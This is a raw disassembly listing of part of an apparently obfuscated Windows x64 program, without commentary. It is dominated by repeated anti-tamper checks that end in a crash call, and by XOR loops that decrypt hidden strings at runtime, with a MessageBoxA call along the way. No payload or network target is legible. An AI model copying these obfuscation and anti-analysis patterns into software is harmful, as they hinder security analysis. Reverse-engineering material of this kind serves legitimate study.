cmp rax, rcx
je 0x140029979
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140029999
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
movdqa xmm0, xmmword [0x1400e3a80]
movdqu xmmword [rbp + 0xbc8], xmm0
movdqa xmm1, xmmword [0x1400e3c10]
movdqu xmmword [rbp + 0xbd8], xmm1
mov dword [rbp + 0xbe8], 0x8c4f7745
mov dword [rbp + 0xbec], 0xc6c92582
mov dword [rbp + 0xbf0], 0xd07c1783
xor eax, eax
mov byte [rbp + 0xbf4], al
mov rdi, r15
mov r14d, 0x9610712c
mov qword [rsp + 0x20], r14
mov r9d, Ordinal_46
mov r8, rdi
mov dl, byte [rbp + rdi + 0xbc8]
lea rcx, [rbp + 0xbc8]
call fcn.140037738
xor al, dil
mov byte [rbp + rdi + 0xbc8], al
inc rdi
cmp rdi, 0x2c
jb 0x1400299e8
mov byte [rbp + 0xbf4], r15b
lea rdx, [rbp + 0xbc8]
lea rcx, [rbp + 0x1188]
call fcn.140005ce8
mov rax, qword gs:[0x1b]
cmp rax, r12
mov r14d, 0xcf7cf033
jne 0x140029af5
mov rcx, qword gs:[0x11]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x11]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x11]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140029ad5
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140029ad5
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140029af5
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
mov rax, qword gs:[0x1b]
cmp rax, r12
jne 0x140029b9f
mov rax, qword gs:[0x11]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140029b7f
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140029b7f
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140029b9f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
lea rcx, [rbp + 0x9f8]
call fcn.140028040
mov rdi, rax
lea rcx, [rsp + 0x60]
call fcn.140005df8
mov qword [rsp + 0x20], rax
mov r9d, 8
xor r8d, r8d
mov rdx, rdi
lea rcx, [rbp + 0x1208]
call fcn.1400387f0
lea rcx, [rbp + 0x9f8]
call fcn.14003872c
lea rcx, [rbp + 0x9f8]
call fcn.140006308
mov rax, qword gs:[0x1b]
cmp rax, r12
jne 0x140029c97
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140029c77
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140029c77
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140029c97
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
mov rax, qword gs:[0x1b]
cmp rax, r12
jne 0x140029d41
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140029d21
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140029d21
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140029d41
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
mov dword [rbp - 0x68], 0x8741e993
mov word [rbp - 0x64], 0xe5d7
xor eax, eax
mov byte [rbp - 0x62], al
mov rdi, r15
mov r13d, 0x9610712c
mov qword [rsp + 0x20], r13
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi - 0x68]
lea rcx, [rbp - 0x68]
call fcn.1400376cc
xor al, dil
mov byte [rbp + rdi - 0x68], al
inc rdi
cmp rdi, 6
jb 0x140029d5c
mov byte [rbp - 0x62], r15b
mov dword [rbp - 0x58], 0x8741fb8a
mov word [rbp - 0x54], 0xe5d7
xor eax, eax
mov byte [rbp - 0x52], al
mov rdi, r15
movabs r13, 0xe5a3648ce2378ab3
mov r14d, 0x9610712c
mov qword [rsp + 0x20], r14
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi - 0x58]
lea rcx, [rbp - 0x58]
call fcn.1400376cc
xor al, dil
mov byte [rbp + rdi - 0x58], al
inc rdi
cmp rdi, 6
jb 0x140029db0
mov byte [rbp - 0x52], r15b
lea r8, [rbp - 0x58]
lea rdx, [rbp + 0x1188]
lea rcx, [rbp + 0xa38]
call fcn.140038a60
lea rdx, [rbp + 0x1208]
mov rcx, rax
call fcn.140038438
mov rdx, rax
lea rcx, [rbp + 0xa58]
call fcn.14003858c
lea rcx, [rbp - 0x68]
call fcn.140005e50
mov rcx, rax
call fcn.140005df8
mov r8, rax
lea rdx, [rbp - 0x68]
lea rcx, [rbp + 0xa58]
call fcn.140038278
mov rdx, rax
lea rcx, [rbp + 0xa78]
call fcn.14003858c
lea rdx, [0x1400f7480]
lea rcx, [rbp + 0xa78]
call fcn.140038438
mov rdx, rax
lea rcx, [rbp + 0x11e8]
call fcn.14003858c
lea rcx, [rbp + 0xa78]
call fcn.14003872c
lea rcx, [rbp + 0xa78]
call fcn.140006308
lea rcx, [rbp + 0xa58]
call fcn.14003872c
lea rcx, [rbp + 0xa58]
call fcn.140006308
lea rcx, [rbp + 0xa38]
call fcn.14003872c
lea rcx, [rbp + 0xa38]
call fcn.140006308
mov rax, qword gs:[0x1b]
cmp rax, r12
mov r14d, 0xcf7cf033
jne 0x140029f61
mov rax, qword gs:[0x11]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140029f41
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140029f41
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140029f61
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
mov rax, qword gs:[0x1b]
cmp rax, r12
jne 0x14002a00b
mov rax, qword gs:[0x11]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140029feb
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140029feb
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002a00b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
lea rcx, [rbp + 0x1208]
call fcn.1400380a0
xor edx, edx
lea r8d, [rdx + 0xa]
mov rcx, rax
call fcn.14009e4c0
mov rax, qword gs:[0x1b]
cmp rax, r12
jne 0x14002a0cf
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002a0af
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002a0af
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002a0cf
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14009d598
int3
mov rax, qword gs:[0x1b]
cmp rax, r12
jne 0x14002a188
mov rcx, qword gs:[0x11]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x11]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x11]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002a168
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002a168
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002a188
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
nop
mov dl, byte [rsp + 0x60]
lea rcx, [rbp + 0x10e8]
call fcn.140005da0
lea rcx, [rbp + 0x10e8]
call fcn.1400387c8
nop
mov rax, qword gs:[0x1b]
cmp rax, r12
jne 0x14002a24f
mov rax, qword gs:[0x11]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002a22f
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002a22f
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002a24f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
mov rax, qword gs:[0x1b]
cmp rax, r12
jne 0x14002a2f9
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002a2d9
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002a2d9
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002a2f9
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
lea rcx, [rbp + 0x11e8]
call fcn.1400380a0
mov r9b, 1
xor r8d, r8d
lea rdx, [rbp + 0x10e8]
mov rcx, rax
call fcn.140027bb0
mov rax, qword gs:[0x1b]
cmp rax, r12
jne 0x14002a3d3
mov rcx, qword gs:[0x11]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x11]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x11]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002a3b3
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002a3b3
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002a3d3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
mov dword [rbp + 0x1e0], 0xeba9a256
mov dword [rbp + 0x1e4], 0x1cc89d20
mov dword [rbp + 0x1e8], 0x6d28e570
xor eax, eax
mov byte [rbp + 0x1ec], al
mov rdi, r15
mov ebx, 0x9610712c
mov qword [rsp + 0x20], rbx
mov r9d, recv
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1e0]
lea rcx, [rbp + 0x1e0]
call fcn.14003765c
xor al, dil
mov byte [rbp + rdi + 0x1e0], al
inc rdi
cmp rdi, 0xc
jb 0x14002a401
mov byte [rbp + 0x1ec], r15b
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x10e8]
call fcn.140038d7c
test al, al
je 0x14002a9b1
mov rax, qword gs:[0x1b]
cmp rax, r12
jne 0x14002a501
mov rax, qword gs:[0x11]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002a4e1
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002a4e1
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002a501
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
movdqa xmm0, xmmword [0x1400e3a00]
movdqu xmmword [rbp + 0x7b8], xmm0
mov dword [rbp + 0x7c8], 0x54030171
mov word [rbp + 0x7cc], 0x20e3
xor eax, eax
mov byte [rbp + 0x7ce], al
mov rdi, r15
mov qword [rsp + 0x20], rbx
mov r9d, reloc.WLDAP32.dll_Ordinal_22
mov r8, rdi
mov dl, byte [rbp + rdi + 0x7b8]
lea rcx, [rbp + 0x7b8]
call fcn.140037580
xor al, dil
mov byte [rbp + rdi + 0x7b8], al
inc rdi
cmp rdi, 0x16
jb 0x14002a52f
mov byte [rbp + 0x7ce], r15b
movdqa xmm0, xmmword [0x1400e3b00]
movdqa xmmword [rbp + 0xd60], xmm0
movdqa xmm1, xmmword [0x1400e39b0]
movdqa xmmword [rbp + 0xd70], xmm1
movdqa xmm0, xmmword [0x1400e3cb0]
movdqa xmmword [rbp + 0xd80], xmm0
movdqa xmm1, xmmword [0x1400e3c00]
movdqa xmmword [rbp + 0xd90], xmm1
movdqa xmm0, xmmword [0x1400e3bc0]
movdqa xmmword [rbp + 0xda0], xmm0
movdqa xmm1, xmmword [0x1400e3c40]
movdqa xmmword [rbp + 0xdb0], xmm1
movdqa xmm0, xmmword [0x1400e3b50]
movdqa xmmword [rbp + 0xdc0], xmm0
movdqa xmm1, xmmword [0x1400e3c90]
movdqa xmmword [rbp + 0xdd0], xmm1
mov dword [rbp + 0xde0], 0x9b4afaa1
mov word [rbp + 0xde4], 0xeffb
xor eax, eax
mov byte [rbp + 0xde6], al
mov rdi, r15
mov ebx, 0x86
mov r14d, 0x9610712c
mov qword [rsp + 0x20], r14
mov r9, rbx
mov r8, rdi
mov dl, byte [rbp + rdi + 0xd60]
lea rcx, [rbp + 0xd60]
call fcn.1400375ec
xor al, dil
mov byte [rbp + rdi + 0xd60], al
inc rdi
cmp rdi, rbx
jb 0x14002a613
mov byte [rbp + 0xde6], r15b
mov r9d, 4
lea r8, [rbp + 0x7b8]
lea rdx, [rbp + 0xd60]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov edx, eax
mov rax, qword gs:[0x1b]
cmp rax, r12
mov r14d, 0xcf7cf033
jne 0x14002a718
mov rcx, qword gs:[0x11]
xor rcx, r13
mov qword [rbp + 0xf30], rcx
mov rcx, qword gs:[0x11]
xor rcx, r13
mov qword [rbp + 0xf38], rcx
mov rcx, qword gs:[0x11]
xor rcx, r13
mov qword [rbp + 0xf40], rcx
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002a6f8
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002a6f8
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002a718
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
mov rax, qword gs:[0x1b]
cmp rax, r12
jne 0x14002a7c2
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002a7a2
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002a7a2
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002a7c2
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
cmp edx, 7
je 0x14003730c
mov rax, qword gs:[0x1b]
cmp rax, r12
jne 0x14002a875
mov rax, qword gs:[0x11]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002a855
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002a855
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002a875
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14009d598
int3
movdqa xmm0, xmmword [0x1400e3af0]
movdqu xmmword [rbp + 0xc28], xmm0
movdqa xmm1, xmmword [0x1400e3b60]
movdqu xmmword [rbp + 0xc38], xmm1
movdqa xmm0, xmmword [0x1400e39a0]
movdqu xmmword [rbp + 0xc48], xmm0
mov rdi, r15
mov ebx, 0x9610712c
mov qword [rsp + 0x20], rbx
mov r9d, Ordinal_50
mov r8, rdi
mov dl, byte [rbp + rdi + 0xc28]
lea rcx, [rbp + 0xc28]
call fcn.140037514
xor al, dil
mov byte [rbp + rdi + 0xc28], al
inc rdi
cmp rdi, 0x2f
jb 0x14002a8ad
mov byte [rbp + 0xc57], r15b
lea rcx, [rbp + 0xc28]
call fcn.1400a19ec
mov rax, qword gs:[0x1b]
mov edi, 0x12c30fd1
cmp rax, r12
jne 0x14002a9b6
mov rcx, qword gs:[0x11]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x11]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x11]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002a991
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002a991
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002a9b6
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
mov edi, 0x12c30fd1
mov rax, qword gs:[0x1b]
cmp rax, r12
jne 0x14002aa60
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002aa40
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002aa40
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002aa60
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
lea rdx, [rbp + 0x10e8]
lea rcx, [rbp + 0xa98]
call fcn.1400385e8
mov rdx, rax
lea rcx, [rbp + 0xab8]
call fcn.140028188
mov rdx, rax
lea rcx, [rbp + 0x10e8]
call fcn.1400384c4
lea rcx, [rbp + 0xab8]
call fcn.14003872c
lea rcx, [rbp + 0xab8]
call fcn.140006308
mov rax, qword gs:[0x1b]
cmp rax, r12
jne 0x14002ab53
mov rax, qword gs:[0x11]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002ab33
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002ab33
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002ab53
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
mov rax, qword gs:[0x1b]
cmp rax, r12
jne 0x14002abfd
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002abdd
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002abdd
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002abfd
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
xor edx, edx
lea rcx, [rbp + 0x1188]
call fcn.14003879c
mov rax, qword gs:[0x1b]
cmp rax, r12
jne 0x14002acc4
mov rcx, qword gs:[0x11]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x11]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x11]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002aca4
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002aca4
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002acc4
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
mov rax, qword gs:[0x1b]
cmp rax, r12
jne 0x14002ad6e
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002ad4e
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002ad4e
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002ad6e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
mov rcx, qword [rbp + 0x10f8]
call fcn.1400a1e5c
mov rsi, rax
mov qword [rbp - 0x40], rax
mov rax, qword gs:[0x1b]
cmp rax, r12
jne 0x14002ae2b
mov rcx, qword gs:[0x11]
xor rcx, r14
mov qword [rbp + 0xf30], rcx
mov rcx, qword gs:[0x11]
xor rcx, r14
mov qword [rbp + 0xf38], rcx
mov rcx, qword gs:[0x11]
xor rcx, r14
mov qword [rbp + 0xf40], rcx
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002ae0b
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002ae0b
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002ae2b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
mov rax, qword gs:[0x1b]
mov ebx, 0x93ac035
cmp rax, r12
jne 0x14002aee8
mov rcx, qword gs:[0x11]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x11]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x11]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002aec8
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002aec8
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002aee8
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
mov r14, qword [rbp + 0x10f8]
mov rax, qword gs:[0x1b]
cmp rax, r12
jne 0x14002af99
mov rax, qword gs:[0x11]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x11]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x11]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002af79
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002af79
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002af99
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009d598
int3
test rsi, rsi
je 0x140036fff
cmp qword [rbp + 0x10f8], r15
je 0x140036fff
mov rax, qword gs:[0x1b]
cmp rax, r12
jne 0x14002b068
mov rcx, qword gs:[0x11]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x11]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x11]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x11]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002b048
